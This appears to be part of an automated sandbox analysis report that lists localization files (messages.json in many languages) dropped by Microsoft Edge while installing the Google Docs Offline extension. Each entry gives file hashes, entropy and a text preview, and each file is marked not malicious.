SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
